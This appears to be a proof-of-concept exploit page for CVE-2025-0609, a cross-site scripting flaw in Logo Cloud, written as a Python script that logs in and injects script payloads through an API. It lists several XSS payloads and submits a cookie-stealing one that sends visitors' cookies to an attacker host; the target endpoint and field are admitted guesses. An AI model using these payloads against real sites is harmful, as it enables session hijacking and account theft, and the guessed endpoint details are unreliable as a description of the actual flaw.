CVE-2025-0609 Logo Cloud跨站脚本（XSS）漏洞

# CVE-2025-0609 - Logo Cloud XSS Proof of Concept # Vulnerability: Improper Neutralization of Input During Web Page Generation # Affected: Logo Cloud < 1.18 import requests TARGET_URL = "https://target-logo-cloud.example.com" # Attacker needs high-privilege credentials (PR:H) USERNAME = "[email protected]" PASSWORD = "P@ssw0rd!" # Login session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", data=login_payload) # XSS payload - injected into a vulnerable input field # The application fails to sanitize this input before rendering xss_payload = '<script>alert("XSS-CVE-2025-0609");</script>' # Alternative payloads for different contexts payloads = { "basic": '<script>alert(document.cookie)</script>', "img_onerror": '<img src=x onerror=alert("XSS")>', "svg_onload": '<svg onload=alert("XSS")>', "cookie_stealer": '<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>' } # Submit the malicious payload through a vulnerable endpoint # (exact endpoint depends on the specific vulnerable feature in Logo Cloud) inject_payload = { "field_name": "description", # or other vulnerable input field "content": payloads["cookie_stealer"] } response = session.post( f"{TARGET_URL}/api/v1/records", json=inject_payload ) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] When a victim visits the page, the script will execute") else: print(f"[-] Injection failed: {response.status_code}")